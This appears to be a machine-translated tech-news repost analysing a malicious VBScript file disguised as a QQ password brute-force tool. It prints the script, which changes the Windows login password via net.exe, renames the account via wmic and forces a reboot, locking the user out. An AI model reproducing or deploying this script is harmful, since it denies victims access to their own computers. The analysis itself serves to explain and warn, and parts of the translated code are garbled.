Shulou(Shulou.com)06/01 Report--

File: d:\ temporary work\ QQ password brute force viewer .vbe

Size: 474 bytes

Modified: November 25, 2017, 12:41:46

MD5: 324556EAF0A76E322E6CD15C9AAB5D37

SHA1: 9258F3D78E2EC23C39A23063A2689E8F8670031E

CRC32: 35FD14FA

When you open it, it looks like this.

On Error Resume Next 'encounters an error and continues to execute the next sentence of code

Dim fso,ws,file,shut,password 'defines variables

The password= "woshigou" password is assigned to: woshigou

Set fso=Wscript.CreateObject ("Scripting.FileSystemObject") 'create object

Set ws=Wscript.CreateObject ("Wscript.Shell") 'create object

Fol=fso.GetSpecialFolder (1) 'get the system32 folder path

File=fol & "\ net.exe" variable assignment file path

Shut=fol & "\ shutdown.exe" variable assignment file path

Ws.run file & "user% UserName%" + Chr (34) & password & Chr (34), run net.exe to change the system login password to woshigou

Ws.Run "wmic.exe useraccount where name='%username%' call Rename"+ QQ294** cracking" + Chr (34), 0dint True

Change the user name to: QQ294* crack

Ws.run shut & "/ r / f / t 0", 0 'run shutdown.exe to restart the computer

Further inspection shows that the author is a student of Wengong High School, which seems to be used as a prank and no longer explores. 、 . .

Welcome to subscribe "Shulou Technology Information " to get latest news, interesting things and hot topics in the IT industry, and controls the hottest and latest Internet news, technology news and IT industry trends.